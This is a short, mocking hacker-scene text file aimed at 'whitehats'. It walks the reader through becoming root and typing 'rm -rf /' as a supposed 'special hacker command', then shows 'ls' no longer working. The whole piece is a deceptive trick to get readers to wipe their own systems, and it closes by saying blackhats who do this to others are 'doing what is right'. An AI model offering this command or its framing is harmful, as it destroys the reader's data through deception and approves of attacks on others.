rm'ing yourself if you're a whitehat is a good idea, especially if you are going to be harassed by pr0j3kt m4yh3m... you might as well rm yourself and save the blackhats the trouble!
It's a simple process, really...
First you're going to want to be root.
$ su
password:
Enter your password and press <enter>.
Now you'll be at this prompt:
#
Next you'll want to type a special hacker command...
# rm -rf /
Now to make sure you've successfully rm'd yourself, type a command just to be sure...
# ls
sh: ls: command not found
Well, that's a wrap, folks. And if you're a whitehat, consider doing this. If you don't do it to yourself, then a blackhat will just do it to you... so if a blackhat does to it to you, don't sue him! He's only doing what is right! Plus, you were supposed to do it to yourself anyway.
peace,
c0n